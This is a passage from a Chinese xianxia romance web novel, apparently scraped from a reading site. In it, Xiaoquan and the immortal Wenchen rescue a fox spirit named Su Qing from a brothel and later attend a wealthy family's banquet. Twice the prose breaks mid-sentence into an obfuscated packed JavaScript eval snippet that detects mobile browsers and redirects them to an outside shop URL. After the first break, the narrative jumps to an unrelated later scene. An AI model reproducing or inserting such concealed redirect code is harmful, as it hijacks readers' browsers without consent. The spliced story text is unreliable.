她撒出一堆银白物什叮叮叮地滚落满地,陈忆讷讷坐在地上没有去捡,倒给别人钻了空子。一群人影如流水灌入,两手到处抓,地上的碎银很快消失得一干二净。 良久,陈忆苦着脸从地上爬起,如被欺辱的野犬,全无方才的斗气,眼神呆呆离开了这儿。 潇泉看过世间太多悲欢离合,共情能力不如当初那般,但看到这一幕还是心有不适,趁乱爬起坐在旁边的空椅上,“老板娘,挺凶啊。” 女子闻声扭头,怒意未褪的脸庞略显凶气,瞧清她人,用奇怪的眼神打量道:“香城的富贵小姐我全见过,你是从哪儿冒出来的野丫头?” 潇泉乖乖坐直,“您都说我是野丫头了,那肯定是从外面野进来的啊。”她翘起二郎腿摇晃,“大娘,你这儿还管饭吗?我想混口饭吃。” 女子鄙夷道:“我这儿的姑娘琴棋书画样样精通,你除了那副皮囊还有什么能让我刮目相看的?别跟我说只会嘴皮子。” 潇泉站起身来,十分自信道:“她们会的我都会,她们不会的我也会,你试试就知道了。” 女子冷哼道:“你有手有脚我凭什么给你管饭?想进来?做梦!” 潇泉固执道:“这些姑娘可以进,凭什么我不能进?” “你要是像她们那样有爹娘上门谈价钱,我就答应,否则免谈!”女子不愿再废话,甩袖离去。 潇泉愣了一愣,大概明白姑娘们是怎么进的柳香苑,回到二楼座位处,把过程一一道出。几人听完,神色各异。 宫璃最先开口:“这老板娘真是奇怪,不让别人赎买,又不让你进门,非得找你爹娘说事,到底是为何?” “事情绝非我们看到的那么简单,也许是有什么内幕……”潇泉沉思,“这名叫苏卿的姑娘,是只狐妖。” “啊?!妖……”宫璃险些惊叫,所幸捂嘴甚快,附近客人没有听到。他调回常态,压低声音,“你如何得知?” 当然是因为她能够清楚感知。潇泉对仙灵没有感觉,但还能像从前那般可以感知妖魔的气息。她所修的邪诡之术像是早已渗透魂灵骨肉,不管换哪具身体都摒弃不了,如同天性本能。 她昧着良心把闻尘搬出来,“百里师父用通灵眼看出来的,刚刚我问他了。” 闻尘任潇泉扯他衣袖,不变正色,“此妖道行尚浅,没有血腥履历,杀机不深,构不成威胁。” 潇泉:“陈忆那边有劳百里师父辛苦去探了,我去苏卿姑娘那边看看。” 宫璃:“你没武功怎么进去?” “我自有妙计。”潇泉朝小乔一笑,“小乔,帮我一个忙。” 四人分头行动,潇泉带着小乔顺着狐妖气息悄悄摸摸闯入柳香苑里边,来到一扇纸窗前,抱歉偷窥。 屋内烛火荡荡,镜前女子正在梳头卸妆,如画眉眼清冷凉薄,嘴角全无笑意。注意窗后有微弱动静,她停下梳发,缓缓看来。 “苏姑娘,初次翻窗见面,实属抱歉。”窗门被人推开,少女明眸皓齿,眉间英气恣意,虽显成熟俊美却又遮不住这具身体的朝气稚嫩,她稍微弯唇一笑,直教人移不开眼。 少女坐在窗台上轻轻摇晃双腿,“我叫潇泉。” 苏卿不紧不慢站了起来,“你如何证明你是潇泉?” 少女轻笑一声:“原来你也不信我会死而复生?没关系,我此行又不是为了相亲,是与不是都与姑娘没有关系。我来呢,是为陈忆一事。” 苏卿细眉微拧,“他?” 潇泉:“姑娘认识?” 苏卿面容依旧淡漠,“认识。他常来听我的琵琶。” 潇泉见她态度冷漠,没抱太多希望,但还是问道:“那你可知晓他想赎你出楼吗?” 苏卿波澜不惊,“知道,然后呢?” 潇泉:“他攒够了两百钱,但苑主还是把他赶了出去,说已经有人看上你了。” 苏卿毫不避讳,“确有此事。” “你愿意吗?”潇泉忽道。 苏卿一下变得沉默,“不愿意又如何。” 潇泉轻步从容,“如不愿意,那便来白骨山。” 苏卿心脏骤停,转身盯她,“你到底是谁?” 潇泉眼神亮得发邪,“我已经报上名号,是你自己不信。” 苏卿捏紧手帕,“神魔陨灭两百年,你空口无凭说自己是她,我如何信你?” 潇泉觉之有理,面朝门外高处,“青泽山的百里仙君,想必苏姑娘一定耳闻。如今他就在这里,和我一起。” “百里仙君?”苏卿止步而望,散发妖气试探,果真在一堵堵墙后感受到至纯至阳的仙气,不由惊撼。 他是潇泉唯一的徒弟,两百年风雨无阻地修行,堪称除魔卫道第一人,就连对自己的师尊也是平等相待。 苏卿:“倘若你真是潇泉,他为何见你不擒?你堕入魔道,背叛师门,抛弃师徒,他作为师门之徒,理应对你有恨。” 潇泉笑容凝固,望着来时方向,掐着手心不敢开口。 哪怕距离再远,只要他想听,就没有听不到的。 她抛弃杂思,轻垂眼皮,“你说的这个我也想过,但结果就像你今天看到的这样,我们是在一起的。” 苏卿保持安静。 眼前少女灵力少得可怜,不说修仙困难,修魔都不一定成。看她模样不像撒谎,苏卿不禁回想有关百里仙君的种种传言,讶然道:“百里仙君收的徒弟……是你?” 像是终于等到想要的答案,潇泉笑带满意,“是。” 苏卿绕着她转了两圈,“这么说来,你真是潇泉?” 潇泉:“如假包换。” 苏卿态度缓和,没有方才那么冷淡了。 潇泉背手,“所以你可以告诉我是谁要赎你吗?” 苏卿走到镜前,“坡安派修士。” 潇泉设想无数,独独没有想到是这样,“你一妖怪,投身到修行人之中,必是有来无回。为何不求老板娘拒绝这场交易?她知道他们带走你是为了什么吗?” 苏卿扶着扶手入座,“我是她救回来的狐妖,她不知我真身,也不知那群修士买我是为了妖丹。” 潇泉愣住,“你为何不告知她真相?说那些人带你走是有利可图。” 苏卿别过头去,“若我说了,我的身份会暴露无遗。” 那些修士定会揭穿她的真身,到时是游街示众还是作为炉鼎里丹药的养分,都不得而知。苏卿不敢说不单是这个原因,更怕老板娘难以接受她的真身。人妖向来殊途,势不两立的太多太多。 潇泉:“因为这点报答之心就要把命搭进去,我说实话,这和愚孝之人没什么不同,何况你还是瞒着恩人的情况下送死。万一这不是老板娘想看到的,你岂不是辜负了人家的救命之恩?” 苏卿眼神划过一丝悲戚,“但交易已成,我后天就走。” 这就麻烦了。潇泉没想到会这么快,一时之间有些心累。她得罪修士等同于把自己推上风口浪尖,会有暴露真身的危机。这事得和闻尘他们聊一聊。 潇泉并未慌张,反道:“专门掠夺妖丹的修士不是什么好东西,一群歪门邪道之徒罢了。他们很可能在老板娘面前花言巧语,使了魅惑手段,让她放心把你交给他们,你不能就这样上当。这样吧苏姑娘,要是你想走,可以用这张符纸随时叫我,我想办法带你离开这里。至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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潇泉从没听见他说过这话,不免心惊一下,眯眼想了半天,“当然不是。我有师父,有同门,还有……” 还有何人,她没再说,受着扶持坐好,“我想起一件事。苏卿同我说,你除魔卫道这么多年,为何见面没有将我拿下……我觉得你在侧听,没有回答。” 闻尘:“……” 像是有说不完的话要说,潇泉接着道:“你修至十二境,是有人逼你,还是你自愿?” “自愿。” “真的?” 闻尘:“嗯。” 潇泉迷糊着声音学他:“嗯嗯嗯嗯。” 十二境最不容易突破,当年潇泉费了九牛二虎之力才迈进去。闻尘根基没有她好,能到这个地步肯定十分辛苦,也证明他确有天赋。 潇泉目光下移定在某处,声音轻轻:“挺辛苦的。” 那张脸仍有点陌生,但眉眼不变熟悉,只是不知为何其中常年化不开的冰冷雾气在此刻融成了水,泛着淡淡苦色。 她像从前那样轻轻按住他的眉眼来回抚平,放柔声音:“你为什么总是冷着眉头,不高兴吗?” 对面没有回应,而她模糊视野中的少年模样慢慢蜕成男人模样,她愣了一愣,想要收手。 一道力量圈住她手腕,闻尘抓着她手没有放开,“这具身体还不适应,不要再过度饮酒。” 腕上暖意沉重,潇泉大脑呆滞一刻,忘记回话。 两厢无言胜似有言,呼吸声几不可查,最后潇泉强装镇定起身,“我喝多了。” 她想后退远离,却发现闻尘已先保持适当距离,和他本人一样恪守规矩,永远让人拿捏不到话柄。 潇泉恍惚一下,装作无事跟他道别,脚步飘飘然地回房。 手腕还残留触碰后的薄薄暖意,酥麻感从心脏贯穿全身,潇泉回房泡了半日冷水澡,凉意灌满身体内外,酒醒大半。她穿好里衣回到房间,轻手轻脚爬上床榻,没有惊扰小乔。 人闲起来会胡思乱想,潇泉躺下来后,大脑总会反复浮现前世今生的画面,当少年身影与颀长紫影重叠,她越发睡不着,烦躁莫名而,倒不是因为谁,而是她厌恶自己的这种状态。 潇泉努力平复心绪,几番争斗挣扎,终于回归平静。 夜色渐深,她还没睡着,迷迷糊糊感觉有东西,睁开双眼,一只发光的红蝶在眼前游荡。她陡然坐起,伸手去碰,红蝶随之消散。 这是她给苏卿的符纸,只要一烧,就会变成红蝶来寻潇泉。 看来,苏卿想好了。 潇泉爬起来套上外衣去隔壁房间门口扒拉探望,轻轻喊了两声,没有回声,打算返回自己房间。谁知刚一抬脚,门扉从里边敞开,闻尘披着外衣站在门前望她。 安静楼道不好说话,潇泉指了指房间,闻尘侧身让她进来,复又关门,转身明灯。 潇泉坐在几边,“打扰了?” 闻尘:“没有。” “行,那说正事。”潇泉指尖缠着发丝,“苏卿姑娘决定相信我们,明日你可以去找老板娘谈一谈。假如那些修士不肯罢休,我直接带苏卿走。” 闻尘:“你带她去哪儿?” 潇泉:“魔域是妖魔鬼怪共存之地,她可以去那儿安顿。野外精怪太多,她要是碰到修为太高又小心眼儿的,下场同样凄惨。魔域不同,那儿有人管。” 魔域之前归她管时按的是人间规矩,现在不一定,但总比外面安全。 潇泉:“约定是我一口应下的,自然要说到做到。不管来者是谁,这个人都要带走。那些邪修不成大器,偷杀别人的东西助增自身修为,本就是人神共愤的龌龊之举。哪怕受害者是妖,也是同理。” 时辰确实太晚,潇泉说完正事没有逗留,走出房门准备关门,忽然有人先她一步。 “早点歇息。”闻尘不知何时走来,与她只有一门之隔。 他关门动作缓慢,慢到潇泉可以凝望端详他的眉眼顷刻,然后说声“好”。 房门彻底关闭,潇泉还在门口发呆,脸上没有一点笑容,等觉得站够了才轻轻回房。 42. 长相思(叁) 次日一早,陈忆尚未苏醒,潇泉用符术多让他睡了两个时辰,自己则在房间静候闻尘消息。宫璃一个人闲得无聊,在一楼吃完早膳,跑来潇泉房间一起等。 潇泉面带忧愁,宫璃不解,问其缘由,得知是忧虑百里大人会在老板娘那儿吃瘪,安慰道:“姐姐放心好了,只要老板娘是情理中人,应该会看在他是为民除害的修士的份上嘴下留情。” 潇泉叹气道:“哎,但愿吧。” 又是昨夜潇泉偷听墙角的那间房,不同的是,里边的谈话声没有昨日激烈。 老板娘看着眼前仪表堂堂的年轻修士,仍是那副上等人的姿态,扬了扬眉,“我看师傅像是修无情道的,怎么来我这小地方破戒了?” 闻尘不答反道:“钱给你,人归我。” 老板娘有点意外,看了眼桌上贵气十足的金色丝绦白金玉佩,“公子这是明摆着要抢人了?其他人不行?” 闻尘:“嗯,只能是她。” 他态度坚决,老板娘原先的一点敬意也被磨灭殆尽,冷声道:“理由。” 闻尘的确给了一个理由:“琵琶好听。” 老板娘眼神睥睨:“你一个修道之人听什么琵琶?不怕祖师爷怪你修行三心二意?在我看来,喜欢勾栏听曲儿的修士都不是什么好东西。” 闻尘依旧平静,“琴棋书画也是修行,不过和剑道不同,一个修心,一个修行。我不会琵琶,只会古琴。” “说这个有什么用?我可没问你会什么,再说古琴和琵琶有关系?”老板娘冷笑,“你一个修行之人不想着除魔卫道,整日想着风月之事,你觉得我会把苏姑娘交给你?” 闻尘对她的咄咄言语并不恼怒,“你误会了。我前来是奉一位姑娘之命将人带走,她少时与苏姑娘相识,同我恰逢此地,知苏姑娘卖艺辛苦,便想赎回带走。那些赎她回去的修士心术不正,不可轻信。” 老板娘质疑:“你就心术端正了?” 闻尘出言果断:“我从未说过。” 老板娘没料到他会顺话自贬,愣了一瞬,噤声沉思,“你说的姑娘当真是苏卿儿时的好友?我现在去问,如果是假,你们一个也别想跑。” 说罢她拂袖而去,叫人看着闻尘不准他走。闻尘坐在原位,倒也听话不动。 等了半天,房间外面又响起脚步声,老板娘掀开门帘走了进来,“既然苏卿姑娘说是,那便是了。可惜白纸黑字已经写清楚,想要拿人,没你想得那么容易。还有,苏卿那个好友在哪儿?我总得看看是什么样吧?她只让你一人来?你们是什么关系?” 闻尘正要说话,老板娘在房里来回徘徊,丝毫不掩打量他的眼神,“瞧你这生人勿近的模样,准是修无情道的。” 闻尘张了张嘴,没有出声。 老板娘追问:“所以你是怎么认识苏卿好友的?” 闻尘:“她要我寻人,我便来此。” 老板娘双手叉腰盯他半晌,没看出一点撒谎破绽,这才松口:“既然苏卿姑娘想跟你们走,你出的条件又正合我意,那我就勉为其难地答应你。但如果苏卿想回来或是去其他地方,你就到我这儿来说明情况,我把钱还你,你放她离开。若违背约定,我便叫人踏破你修行的山门!” 闻尘起身礼道:“有劳。” 他递给老板娘一片青叶,“明日等他们来,你把这个东西给他们看,就说人我要了。” 老板娘接过一看,叶面刻有隐于雾中的山峦图腾,一看便知是修行人手上那些奇奇怪怪却有象征意义的东西。她怀疑道:“这是你身份的象征还是?” 闻尘:“师门的图腾。” 老板娘收好在掌心,等人走后,掏出来仔细端详,“什么小玩意儿,还怪好看的……嘶,能有用吗……” 回想适才这名年轻男子的模样,一袭青衣,腰悬长剑,面若冰山,眼如深海。仔细一想,样貌着实不凡,兴许真是哪位修行有成的仙人罢。 交谈成功,潇泉找到苏卿让她收拾东西赶紧离开。苏卿只带了银子和换洗的衣物,以及老板娘给她的一把小巧匕首。 为了避免和修士正面冲突,当日送苏卿离开的时候,潇泉等人也一并退了房间。大家出来之后,她在街上询问苏卿:“你想去哪儿?” 苏卿神色淡淡,“我听你的,去魔域。” 潇泉拿出一块玉佩,“魔域那儿我还不敢保证你能安然无恙,因为那也看重权力,但总比你在外面流浪的好。我已经把进去的法子写在了玉佩上,你收好不要丢了。” 想进魔域非易事,必须按照条件进入,否则不会通行。要是运气不好,还有可能被魔域打成仙门的探子,抓进牢里饱受十八法酷刑。 苏卿屈膝行礼,“多谢。” 此行一去,可能是永别。 潇泉想起一事,“你要去看陈忆吗?他昨夜喝得不省人事,还在柳香苑的客房睡着。” 苏卿摇头,“不必。我和他本就是萍水相逢,没必要再去刻意维持什么,只是我可能辜负了他的情深。等他醒来,你告诉他,我已平安离去,还请他放心,不必来寻,人妖殊途。” 潇泉:“……好,我会传达到位的。” 送苏卿到达渡头,潇泉又塞给她一点路费,“路途遥远,一路珍重。” 苏卿郑重接过,走上渡船,回头望了她一眼。 几人辗转再回柳香苑的某间客房坐等陈忆醒来。看他睡眼惺忪,潇泉叫宫璃打了一盆冷水,正要给他泼醒,陈忆喃喃自语坐了起来,“老板娘,你信我……我,陈忆……一定不会……” 潇泉坐在旁边,“一定不会什么?” 陈忆缓了一缓,头脑清醒一点,“你是……那位姐姐?你们怎么在这儿?” 潇泉叹气道:“不知昨夜是谁喝得烂醉,恰巧被我们撞见,所以我们只好好人做到底,把你抬到这里歇息一晚了。” 看他还是睡不醒的样子,宫璃将巾帕用冷水打湿,“啪”的一下糊他脸上,“还没醒酒就再缓缓。” 陈忆的确又缓了一下,然后默默拿开湿帕,“……谢谢,好很多了。” “那行,你们继续。”宫璃退到一旁,把位置让给有话说的潇泉。 当下陈忆确实清醒许多,但潇泉考虑他难以接受苏卿离开的事实,提前说好:“我有个坏消息跟你说,关于苏卿姑娘的。” 陈忆似是早有预料,但还是抓紧袖角问:“……什么事?” 潇泉:“她离开了柳香苑,不会回来了。” 陈忆愣道:“她不是有契约?怎么走的?” 潇泉把来龙去脉道清楚,最后不忘加一句:“人妖殊途,她说你不要把她放在心上。以后山高水远,各自安好。” 陈忆坐在榻上愣了许久,重重叹气道:“原来……她是一只狐妖……你是怎么知道的?” 潇泉:“她告诉我的。” 陈忆:“那么说来,现在她可以说是脱离危险、重获自由了?” 宫璃站在后面说道:“这么想也没错。总之呢,就看明天那些来接人的修士会是什么反应了哈哈哈。” 陈忆脸上先是失落,而后转为庆幸,“如果真是这样,我为她感到高兴。” 潇泉伸爪假装恐吓,“她是妖啊,你不怕?真想和一只妖共度余生?” 陈忆淡定自若下榻,整理好睡乱的衣衫,“她不伤人,我为何要怕?” 潇泉:“不觉得可惜了?” 陈忆:“不可惜。我总不能因为自己的喜欢,就逼迫人家做不喜欢的事吧?妖的一辈子那么长,要真的跟我这个短命鬼在一起,那才是真的可惜。” 他不再接这个话题,扬了扬下巴问:“你们还打算看花吗?我家有很多,要不要去看看?顺便给你们做一顿饭,当是报答了。” 潇泉看了闻尘一眼,“去啊,怎么不去。就是有点麻烦你家的锅碗瓢盆了,我们人多。” 陈忆不好意笑笑,说是要把租房那晚的钱还给他们。 潇泉大方道:“没事没事,这位仙君很有钱,我所有的钱都是他给的,他说不用还,还愁没地方花呢哈哈。” 陈忆看向走在一侧不语的闻尘,“谢谢。” 闻尘:“不必。” 宫璃叹气自语道:“明明我也挺有钱……” 小果村距离香城有几里路,陈忆很客气地请了几匹马给潇泉等人,一直走到小果村。山路没有想象中的那么崎岖,要是细心,还会发现山路是被修整过的。走百步路、绕一山弯,即可见一户人家,并不荒凉。 山花延百里,四季映红春。 一眼望去,繁景袅香,令人心旷神怡。 潇泉不解道:“明明种满了花儿,为何叫小果村?” 陈忆翻身下了马,“因为这里不止种花,还种果。” 其余人纷纷跟着下马,将它们留到马驿里,继续往前走。 走没多久,陈忆在一家木房子门前停了下来。他熟练地打开院门的锁,领着潇泉他们进屋里坐,道:“你们先坐着,我去打点水来。想看的话随便看,但前院的只能看不能摘,想要哪朵跟我说,我来就行。” 潇泉此次前来并非为了买花,但盛情难推,她只好笑了笑说声好。 小乔对这些精心豢养的花儿还挺感兴趣,板凳还没坐热便蹲到前院的篱笆外望着。潇泉看了看她,出来也看了一圈,发现前院的比后院的更加茂盛浓密,滋生得很好,像是养了许久。 碰到正打水来的陈忆,潇泉问:“怎么我看前院的花儿比其他地方更肥美?” 陈忆对她不着调的形容逗得一笑,“那是我奶奶生前种的花,我只答应给人看,不能摘。” 潇泉看着他抱着水壶进了正堂,拿出碗一个一个地倒给他们喝,腼腆笑道:“家里就这鬼样,别嫌弃。” 宫璃毫不客气端过水碗咕嘟嘟地喝完,又一屁股坐回板凳,“爽!” 陈忆和他们相处不久,但从其言行举止是能看出是非富即贵之人,不是带佩剑就怀各种绝技,好招待好说话,心里倍增好感。更令人吃惊的是,那个叫闻尘的修士居然主动请缨做饭! 陈忆哪儿好意思叫客人进厨房,想委婉拒绝,潇泉打消了他的顾虑,说闻尘厨艺很好叫他尝试一回,反正就这一次。陈忆看他们都没意见,便害羞着答应了。 厨房没有多大,闻尘用买好的菜开始娴熟地做起自己熟悉的菜,潇泉时不时进来插两脚帮忙。约莫一个时辰过后,香味弥漫了整个厨房,坐不住的宫璃和陈忆进厨房来帮忙端饭菜去正堂。 陈忆说,这是他十四年来吃得最热闹的一次夜饭。 他们在陈忆家打地铺过夜,次日醒来,不见陈忆身影,只在屋里桌上看见一张陈忆留名的纸条,上面说——我前天接了个大单,这两天一直在弄,昨天刚好完成,今日就要把鲜花送过去。要是你们饿了,可以自己先做饭吃,我很快就会回来。 闻尘又做了一顿,包括陈忆的。潇泉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314641|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕他一个人累着,很仗义地提出在旁边打下手,遭到闻尘的无情拒绝。 潇泉:“你那是拒绝我吗?分明就是不信任我。” 闻尘:“没有。” 潇泉像老母亲似的,脸上露出被眷顾后的心满意足,“我是太心疼百里师父了,毕竟从小开始做饭,有时还要照顾受伤的师父,实在不易。” 闻尘把菜切好放碎花瓷盘中,“想学?” 潇泉:“我?你确定我不会把厨房炸了?百里师父的厨艺那么好,我想再多吃个几年。我自己做的我可不敢吃。” 闻尘切菜的动作一停,“我吃过你做的饭,以前小的时候。” 潇泉:“有吗?我不记得了。” 闻尘垂首不语。 也许她是真的不愿想起那些无关自己痛痒的事情,可那时闻尘是实打实的吐了很久,把昨天吃的都吐了出来,吐无可吐,吐到浑身疲软。 这对潇泉的厨艺而言无疑是一大败笔。 潇泉接着哼歌接着舞,倏然停住,感觉自己好像是做了这么一件事……她脸色恢复严肃,在闻尘的注视下,自觉退出厨房。 “去哪儿?”闻尘突然出声。 潇泉望望四方,“不去哪儿啊,想在外面站一站。” 闻尘点头回应,手中菜刀快出残影,砧板上的胡萝卜很快变成匀称完美的细丝。 厨房是开窗通风的,他施法禁止风逆,火烟不会反吹呛人。 潇泉一脸凝重站了回来,在旁边观望半晌,总算看出个名堂,难得打了没有倒忙的下手,就是有点热。稍微出点汗,她便去门口吹风,吹着吹着就不肯进厨房了。 陈忆回来的时候大家刚好端齐饭菜,忙叫他一起吃饭。 饭中,陈忆说道:“这次买花的是个卖马的有钱人家,说是家里的小儿子满月要做满月宴,买花放园子里弄着喜庆。今天送花过去的时候,他叫我过去吃饭,我说不了,家里还有客人,他说叫你们一起过去,这样人多热闹些。你们看……如何?” 潇泉见闻尘没说什么,应道:“好啊,确实是人多热闹。既是主人盛情邀请,那我们就不推脱了。什么时候去?” 陈忆:“也是晚饭。” 潇泉:“好,行。” 他们来这里有两天了,几乎都闲着,始终没找到机会办正事。刚好陈忙了大单有休息的机会,潇泉问道:“你知道香城是何时开始种花的吗?” 陈忆细心修剪着花叶,“听我奶奶说有好几百年了,先前是贫瘠之地,后来不知怎么就变成风水宝地了……好像是九百多年前,有位会看风水的高人改善的,但还有人说这里风水不好,不宜长居。” 潇泉:“城历不清?没有记载吗?” 陈忆摇头,“香城一直是不起眼的小城,没什么值得记载的东西。不过,这座城在五百年前的王朝还算小有名气,说是出了一位大人物。只是,我们城长没有找到香城的前朝记载,这些只能当作传说随便听听……香城城史从几百年前重新记录,到目前为止,养花除草类最多。” “这么久以来都把重心放在养花上?”潇泉奇怪,“怎么想起来养花了?” 陈忆舒了一口气,“这个我们有记载,说是曾经有位道长途经此处,见本地土壤肥沃适宜耕种卖钱,给城里的人提议卖花最好。后来百姓逐一试探,结果预言成真,白水城成为了九州第一香城。外人记不住这里的名字,都叫‘西边小江边的香城’,于是咱们上上上上上任城长,把城名改为香城。就这样,香城横空出世,名扬天下,花遍九州。” 潇泉点头,“那香城先前叫什么?” 陈忆:“白水城。以城中一条清河为名。” 潇泉顿道:“所以……我们进城那天看到的城中河叫白水河?” 陈忆温和纠正:“白水溪。” 两人聊了有关香城的一些旧事,之后聊无可聊,潇泉想去外面走走,闻尘小乔一起陪同。 潇泉问宫璃:“你去不去?” 宫璃转身回房,“不去,想睡会儿。你们去吧。” 外边田野有不断生长的野花,三人行走路间,潇泉偶尔会去感受一下那些野花有没有令她不适的感觉,结果是都没有。 “这么看来,确实只有香城的花有问题……”潇泉寻思,“陈忆说的那个道长,真是碰巧路过?我怎么感觉另有原因……” 闻尘:“城内有杀气,但我无迹可寻。” 潇泉顿了顿脚步,“怎么说?” 闻尘:“杀气若隐若现,我探寻不到根源,不知是年代久远难以追踪,还是我修为不够。” 潇泉:“你修为怎么可能不够?会不会是找不对法子?这城内百姓好像对过去模糊不清,城史更是不知丢到哪里去了,实在可疑。你用修为探寻,怕是在茫茫大海中捞针。不过我们有的是时间,来前就打算好了要待一阵,只要青泽那边没有急事,我们可以慢慢找。” 来到这里之后,潇泉感觉自己像一只无头苍蝇,查不出城里花为什么有异香,土壤也没有动过手脚的痕迹。就算有,也不可能遍及整座城,谁这么有精力? 师姐的事暂且不提,此处完全找不到有关线索,或许是她想多了。 潇泉蓦地想起昨天和苏卿的对话,语气肯定:“我和苏卿的对话你都听到了?” 闻尘颔首,“嗯。” 潇泉愣了一愣,心道果然如此,想要避开话题,对方却道:“你就,没什么要说的吗?” 43. 长相思(肆) 闻尘一脸平和,“嗯,都听到了。” 山风吹拂两人的衣角,一高一矮的身影无言相对顷刻。 潇泉别开随风乱飞的发丝,眼睛看着别处,呵呵打破微妙氛围,“我也没想到你我之间的关系在外人眼中竟会演变到反目成仇的地步……实话说,跟你坦白身份之前,我也这么想过。” 闻尘缄默一阵,“现在呢?” “现在……”潇泉发自内心想法,“挺好的,我很意外。”意外他会不计前嫌,对她无限包容,刚好她也没有完全放下旧情。 闻尘静静听着,偏首目视远方,“一样。” 说完两字他便安静不语,潇泉不由愣愣望他,总觉与印象中的本人不大相同,眼前的更为生动,哪怕情绪深藏不露,她好像都能在这张白纸上感受到一二,又或说只有她才能感受到他的情绪…… 是她变敏感,还是他变迟钝了?潇泉都不敢深想。 “走吧。”闻尘迈开步伐。 天色渐暗,三人回归木屋。 此刻,陈忆他们正在收拾东西准备出门,看到潇泉他们回来,招揽道:“走吧,我们可以去刘家了。” 潇泉:“应该不远吧?” “还好。”陈忆说明情况,“刘老爷家在城内,我们去马驿乘车就行,他遣了车夫过来。” 这位素未谋面的刘老爷还算性情中人,对晚宴的客人还能这么体贴上心,实属难得。 几人整理了一下着装去驿站找到刘佳家派来的车夫乘车,车夫主动寒暄几句,请他们上车坐好,开始赶路。 宫璃不想耽误时辰耽误别人,两脚蹬溜得快,一下跳上马车,才刚钻入,吓了一跳,“嚯,这么豪华的马车?居然能坐五个人?想必这刘家一定非常有钱吧?” 陈忆坐在最边上,“看你衣着不凡,难道没有坐过这样的马车?” 宫璃扬眉,“没有啊。我家有钱,又不是我有钱,而且我们拿剑出门从来不坐马车,要么骑马,要么御剑。” 陈忆:“原来你们真是修士。我就说,只有你们才会把剑佩在身上。初次见面我没想到我们会走那么近,没好意思问……你们是从哪儿来的啊?” 潇泉:“从京都那边过来的。” 陈忆吃惊,“京都开封?你们不会是……昆仑的吧?” 京都有昆仑置办的第一分派,也是仙门的最高学府。 潇泉笑道:“我们哪儿敢高攀?都是出自小门小派的人物。” 陈忆“哦”了一声,自觉转移话题。 所有人当中只有小乔没坐过马车,她坐在潇泉、宫璃的中间,身体和脑袋随着行驶的马车不快不慢地左右摇摆。 宫璃承受着左肩的撞击,面无表情生无可恋。潇泉倒很包容,用手托住小乔脑袋轻轻按在自己肩上,“不习惯就靠着,马上到了。” 小乔点头,“嗯。” 外面的车夫一言不语,只顾埋头赶车,不出一个时辰便到达香城,再走一段青石板路,马车停在一家气派非常的古宅门前。 车夫勒住缰绳,“到喽,几位可以下车了。” 几人有序下车,停在宅邸门口。车夫简单收拾一下,驾车往后门停车去了。 宅邸门前,有几人穿着喜庆,面带笑容,热情地迎接来客。旁边摆着桌椅,一名黑胡子的儒雅男子端坐椅上,一一记录客人的姓名及礼品,偶与客人笑谈,行事沉稳娴熟。 另一边的小胖吆喝道:“随不随礼只看心意,欢迎各位来赴宴!” 刘家为一个婴孩设这么隆重的满月宴,必是捧在手心里的珍宝,他们作为客人不送礼有点说不过去。 潇泉他们各自掏腰包给儒雅男子,男子打量他们几眼,随后点头示意他们可以进了。 晚宴未至,宅里已是人潮拥挤,四处人声鼎沸,各色各样的人都有,像他们看似在江湖闯荡的年轻修士有那么几个,财大气粗的商贾之家更是不少。 来客之多,他们不知刘家主在人群何处,老老实实等到晚宴开始。 正堂敞着大门,可见里面整齐坐着两行人,彼此面对面。正中央的主位坐着一个圆肚浓眉矮帽的中年男人,面目和蔼但贵气威严,他端起酒盏向诸位贵客敬酒,手上的翡翠扳指格外显眼,明亮色泽,一看就贵。 看来,这便是刘家主了,的确是个富贵人家。 潇泉从陈忆口中得知,刘老爷年轻时便在香城做了生意,结识不少人脉,商贾修士平民权贵皆有。其名为焕,有一个正妻、一个小妾和四个孩子,长子送到门派修行,只有节日才得空回来探望,其他两个孩子还在家中未出远门。 办满月宴的是刘焕爱妾生的第四子。 什么大孩子二孩子三孩子,宫璃听得有点头疼,疑惑:“生这么多孩子养得过来吗?养一个就够头疼了,生这么多跟养畜生牛马有什么区别啊?” 众人:“……” 潇泉看戏不嫌事大,“大少爷,你莫不是忘了自己还有个哥哥。怎么,翅膀还没长硬气,这就赶着谋权篡位了?” 宫璃脸色一赧,正想解释,潇泉接着道:“我支持。” “……不了吧。”宫璃婉拒,“虽然我哥平时是有点嘴贱,但他对我挺好的。” 潇泉故作无奈地摊开双手,“好吧,看来你还是想保住自己的‘弟’位。” 宫璃这性子不是先帝创业未半而中道崩殂、被宫榷拿捏得死死的,就是心慈手软顾及旧情不敢真上的,“谋权篡位”简直是天方夜谭。潇泉此番打趣可谓是一箭双雕。 饭后的宴会氛围随着时间流逝变得轻松宽和,庭院黑压压的人群不停流动,有的去后院闲逛,有的在前院赏花。 潇泉赏不得这儿的鲜花,一看便知是香城里土生土长的,她一靠近,异香便会钻进鼻孔引起心脏不适,连着血液根深蒂固的东西都会引诱而出。 陈忆看出她的不适,“姐姐,你这是哪里不舒服?” 潇泉忍住想捂心口的手,“没事,吃多了,我去走走。” 小乔从旁边冒头,眼睛亮亮的,伸出爪子,“我、我……” 潇泉看懂其中之意,把手给她,笑道:“好,那就小乔来陪我。” 说是只有小乔,其实闻尘也在身旁。 兜转半日,潇泉发现这座刘宅还真是有点历史,用具陈设好些大有年头,大概是百年前留下来的老宅子。 她回到正堂外面打望,没见刘老爷身影,心道奇怪。闻尘轻扯她的衣袖,指向另一边。 刘老爷正和好友聊天吹牛,身边傍着一个七八岁的孩子。潇泉观察半日,成功与孩子交流眼神,坐在花坛后面勾勾手指,摇了摇手腕上的金刚手环。 